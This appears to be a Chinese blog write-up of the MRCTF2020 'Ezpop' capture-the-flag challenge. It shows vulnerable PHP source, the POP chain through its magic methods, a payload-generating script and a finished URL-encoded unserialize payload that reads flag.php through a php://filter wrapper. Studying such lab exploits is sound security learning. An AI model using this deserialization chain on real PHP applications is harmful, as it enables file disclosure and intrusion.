[WP/BUU/Web/反序列化] [MRCTF2020]Ezpop_welcome to minire world,反序列化-CSDN博客

本文详细介绍了PHP中一个涉及反序列化、文件包含和魔术方法的漏洞利用过程。通过创建特定的类结构，攻击者可以触发`__wakeup`和`__toString`等魔术方法，最终达到执行任意代码的目的。提供的Payload展示了如何构造有效载荷来利用这个漏洞，获取`flag.php`的内容。

源码

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    // 包含文件flag.php
    public function append($value){
        include($value);
    }
    // 对象函数形式调用时触发
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    
    // 调用$str的source，TEST不存在source属性，触发Test::__get()
    public function __toString(){
        return $this->str->source;
    }
	
	// $this->source 进行字符串比较，触发Test::__tostring
    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }
	// 调用函数，函数名为function，用此调用Modifier::__invoke()
    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

POP

O1(Show)::__wakeup() [$source=] -> O2(Show)::__tostring() [$str=O(Test)] -> Test::_get() [$p=O(Modifier)] -> Modifier::_invoke() [$var=flag.php]

Payload生成

<?php
class Modifier {
    protected  $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}

class Show{
    public $str;
    public $source;
    public function __construct($a){
        if($a == 1){
            $this->str = new Test();
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = new Modifier();
    }
}
$a = new Show(2);
$a->source  = new Show(1);
echo urlencode(serialize($a));

payload[GET]

?pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A3%3A%22str%22%3BN%3Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7Ds%3A6%3A%22source%22%3BN%3B%7D%7D